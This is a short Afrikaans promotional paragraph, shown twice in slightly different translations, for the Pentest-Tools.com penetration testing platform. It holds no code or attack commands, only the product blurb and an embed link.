**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering en deurdringende toetse**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek van verkenningswerk tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle tyd te gee om dieper te delf, skulpe te laat klap, en pret te hê.
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering en indringingstoetsing**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek van verkenningswerk tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle tyd te gee om dieper te delf, skulpe te laat klap, en pret te hê.
{% embed url="https://pentest-tools.com/" %}

Some files were not shown because too many files have changed in this diff Show more